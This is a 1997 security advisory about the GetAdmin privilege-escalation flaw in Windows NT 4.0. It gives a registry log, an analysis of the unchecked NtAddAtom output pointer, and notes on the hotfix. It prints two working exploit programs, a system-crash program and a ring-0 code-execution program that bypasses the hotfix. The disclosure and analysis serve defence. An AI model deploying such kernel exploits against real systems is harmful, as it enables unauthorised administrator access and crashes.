Windows NT Allows Programmatic Additions To The Administrators Group Reported July 4, 1997 by Konstantin Sobolev Systems Affected Windows NT 4.0, Server and Workstation The Problem A newly released program (getadmin.exe) originating from Russia demonstrates an ability to add users to the Administrators group. The program, developed by Konstantin Sobolev, runs in a command window and adds the specified user account to the Administrators group. No special permissions are required to execute the program - which also works through a telnet session. So far, we've determined in-house that the program works on a Primary Domain Controller (PDC), and will add local domain accounts to the Administrators group. This utility also works well against domain accounts. We were able to add users from a another domain into the Administrators group of the local machine. We tested the program using "getadmin username" and "getadmin DOMAIN-NAME\username". Both of these variations in command syntax worked, which could indicate several other configurations where this program might also work. Here's a log dump from the Registry Monitor (REGMON) showing what Registry keys are accessed during execution of getadmin.exe: 21 lsass.exe OpenKey 0xE1237D40\Policy SUCCESS Key: 0xE18995C0 22 lsass.exe OpenKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE16C9E60 23 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc BUFOVRFLOW 24 lsass.exe CloseKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 25E16C9E60 26 lsass.exe OpenKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE16C9E60 27 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc SUCCESS NONE 28 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc SUCCESS NONE 29 lsass.exe CloseKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE16C9E60 30 lsass.exe CloseKey 0xE1237D40\Policy SUCCESS Key: 0xE18995C0 31 winlogon.exe OpenKey 0xE12232C0\SOFTWARE\AntiShut\Account name SUCCESS Key: 0xE1302420 32 winlogon.exe QueryValue 0xE12232C0\SOFTWARE\AntiShut\Account name SUCCESS "NTSHOP\TESTACCOUNT" 33 winlogon.exe CloseKey 0xE12232C0\SOFTWARE\AntiShut\Account name SUCCESS Key: 0xE1302420 34 lsass.exe OpenKey 0xE1237D40\Policy SUCCESS Key: 0xE1302420 35 lsass.exe OpenKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE18995C0 36 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc BUFOVRFLOW 37 lsass.exe CloseKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE18995C0 38 lsass.exe OpenKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE18995C0 39 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc SUCCESS NONE 40 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc SUCCESS NONE 41 lsass.exe CloseKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE18995C0 42 lsass.exe OpenKey 0xE1237D40\Policy SUCCESS Key: 0xE18995C0 43 lsass.exe OpenKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE16C9E60 44 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc BUFOVRFLOW 45 lsass.exe CloseKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE16C9E60 46 lsass.exe OpenKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE16C9E60 47 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc SUCCESS NONE 48 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc SUCCESS NONE 49 lsass.exe CloseKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE16C9E60 We are stilling conducts tests to see what combinations of domains/accounts can be compromised. Feel free to contribute what you find out personally. Stay tuned for further updates. Thomas Lopatic offered up the following analysis on GetAdmin: I thought I'd share my findings with the net community. Hopefully someone will be able to fill in the gaps so that together we'll get the whole picture of what GetAdmin really does. * The hole: the system service NtAddAtom does not pay attention where it stores the result it returns. GetAdmin abuses this to set bit 0 of the byte at address NtGlobalFlag + 2. GetAdmin is traversing the list of exports in NTOSKRNL.EXE until it hits the 'NtGlobalFlag' entry. However, a slightly modified version of the exploit could contain the hard coded address of NtGlobalFlag. This would make any access to NTOSKRNL.EXE unnecessary, but it would make the exploit 'less portable' at the same time. * By setting this bit, it seems, the check for debug privileges is switched off in NtOpenProcess and NtOpenThread. Thus, everyone is able to open any process currently in the system. When you open a process or a thread in Windows NT, your function call is eventually passed to the kernel services NtOpenProcess or NtOpenThread. These services verify, whether you are entitled to open the corresponding process or thread object. It seems, that the debug privilege enables you to open processes or threads not owned by you. When having a closer look at the kernel services, you notice that the above mentioned flag overrides the debug privilege, i.e. you do not need debug privileges if the above flag is set. Seems to be some kind of global debug privilege. But then again, maybe it's more than that and I just haven't looked closely enough. :) Could anyone from MS elaborate on this, please? * GetAdmin opens the Winlogon process and adds a suspended thread to it. After that, it does some fiddling with the stack of the newly created thread. Guess it inserts some code and a bogus return address to make calls to GASYS.DLL, which eventually grants the administrator privileges after the thread is resumed. [Opening processes] is easy to verify with PView. Start PView and double click on the Winlogon process - you won't be shown its memory statistics. Now manually set this flag, e.g. with SoftIce, and re-run PView. Now you'll be able to look at the statistics. That means that PView is able to open the process, doesn't it? Maybe I am missing something here. * The Nt* functions are kernel services. User-land processes are not able to write to kernel memory. So, the problem is that NtAddAtom does not check the arguments it is passed thoroughly enough. Some background: The Nt* functions are invoked via INT 2E. EAX contains the service number (for NtAddAtom this is 3) and EDX contains a pointer to the stack frame to be used when calling NtAddAtom, i.e. the arguments, to be passed to it. NtAddAtom takes two arguments: the string representing the atom and a pointer to the memory location the result, i.e. the atom handle, is to be stored in. NtAddAtom fails to assure that this location lies within the address space of the process. Hence it is possible to have the kernel service write the atom handle anywhere we want, e.g. somewhere near NtGlobalFlag. If other services are equally sloppy, then I am afraid that this has just been the beginning in a series of bugs (the buffer overflows on Unix come to mind). * The...correct fix is to modify the kernel so that it cannot be tricked into abusing its privileges (SUID PROGRAMS ON UNIX COME TO MIND HERE). The author of GetAdmin, Konstantin Sobolev, has informed us here at NTSecurity.NET that the following code makes up the exploit: ChangeNtGlobalFlag(GetNtGlobalFlagPtr()); The above code creates the exploit. The GetNtGlobalFlagPtr() can be replaced with a fix pointer, eliminating the need for READ access to the ntoskrnl.exe, making it much tougher to defend against, while at the same time, making it far less portable across NT systems. The bug is that the subfunction in NtAddAtom does not check the address of the output . So it's possible to write to any space of the kernel memory. Of course it is not necessary to inject a .dll into winlogon, instead, to get admin rights you can simply patch the same place of ntoskrnl.exe, or replace the process token and etc. HERE IS THE EXECUTABLE AND SOURCE CODE Costin Raiu points out that a similar code structure can be used to completely crash an NT system - as seen in a similar program, NTCrash. The sample code is provided below along with Costin's message: Here's a small program able to crash a WindowsNT machine using the bug in NtAddAtom. Just a variation of NTCRASH. However I have one question: why does getadmin open ntoskrnl.exe to find the address of NtAddAtom ? Using EAX=3/INT2F is "portable" and does not require any +r access to ntoskrnl.exe NOTE: The location of memory overwritten by the kernel is stored in the "a" array. In this exploit the kernel does a write operation to FFFFFFFF - instant crash. (at least on my machine) BTW: This program is for academic and learning purposes. No criminal intention at all. --------------------------------------------------- /* A program to bring the BSOD using the bug in NtAddAtom. Works with SP3. Author: Costin RAIU, Compile with VC++ */ void *a[2]; void main(void){ int i; for (i=0;i<2;i++) a[i]=(void*)(0xffffffffL); _asm { mov eax,3 mov edx,offset a int 02eh } } /*-------end of code sample --------*/ Preventing the Attack Load the HOTFIX. And be sure to read the README file and KB article as well. WARNING: A new variation of this same getadmin exploit still works even after installing the hotfix! Constin Raiu again offers some valuable insight below: The most interesting function found is eax=4346. The handler of this function is located in win32k.sys By sending a carefully prepared stack to the function, you can get your code executed at ring 0 (kernel privilege. When in ring 0, my program will change the flag in NtGlobalAtom. Note that the program does not rely on NtGlobalAtom and debug privileges. I can write a small routine which patches more of the kernel, to get admin rights. However, I choosed this approach in order to make it easier for everyone: run crash4.exe, then run getadmin.exe. Observations: The retf instruction at a0020b87 (in win32k.sys) will pop from the stack the bogus address and jump into user code. To get out from kernel mode, an iret is performed. To get administrator rights on a hotfixed machine, run crash4.exe then run getadmin.exe. My exploit program code follows (download the crash4.exe here): /* Running ring 0 code. Author: Costin RAIU #include standard_disclaimer ****** NOTICE: COMPILE THIS WITH BORLAND C 5.0 ONLY!!! DOES NOT WORK WITH VC++!!! ****** */ void* a[2]; void main(void) { int i; for (i=0;i<2;i++) a[i]=(void*)0; *(char*)(0x4080a4)=0x80; //or bptr [NtGlobalFlag+2],0f *(char*)(0x4080a5)=0x0d; *(char*)(0x4080a6)=0xb6; *(char*)(0x4080a7)=0xc2; *(char*)(0x4080a8)=0x14; *(char*)(0x4080a9)=0x80; *(char*)(0x4080aa)=0xc1; *(char*)(0x4080ab)=0xcf; _asm { mov eax,4346 mov edx,offset a int 2eh } } Microsoft's Response: It was reported that Microsoft had been informed of this issue on June 30, 1997. They released a fix on July 8, 1997 at about 3:45pm PST, BUT AS YOU CAN SEE - IT DOESN'T COMPLETELY WORK. Expect ANOTHER more complete hotfix any day now! If we may so bold as to make a statement to the MS security folks: PLEASE be more thorough in your investigations - lightening quick, but thorough. More exploits are on the way if you don't cover all the bases now! To learn more about new NT security concerns, subscribe to NTSD. Credit: Reported by Konstantin Sobolev Posted here at NTSecurity.Net July 4, 1997 11pm